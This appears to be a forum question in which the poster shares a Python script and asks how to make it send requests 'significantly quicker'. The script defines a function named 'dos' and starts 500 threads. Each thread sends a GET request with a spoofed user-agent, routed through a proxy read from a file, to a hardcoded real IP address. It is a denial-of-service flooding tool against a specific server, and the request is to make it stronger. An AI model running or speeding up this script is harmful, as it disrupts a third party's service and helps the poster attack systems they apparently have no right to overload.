Here is the source code:
import threading
import requests
from time import sleep
f = open("http.txt")
proxy = f.readline()
proxies = {"https": f"https://{proxy}"}
def dos(proxies):
headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)"}
url = 'http://176.9.10.17/HIT'
f = open("http.txt")
proxy = f.readline()
proxies = {"https": f"https://{proxy}"}
requests.get(url, headers=headers, proxies=proxies)
threads = []
for _ in range(500):
t = threading.Thread(target=dos, args=proxies)
t.start()
threads.append(t)
for thread in threads:
thread.join()
I've tried adding sleep when making the range 1,000 + and it got up to a max of 1.7k requests. I would like to make it significantly quicker.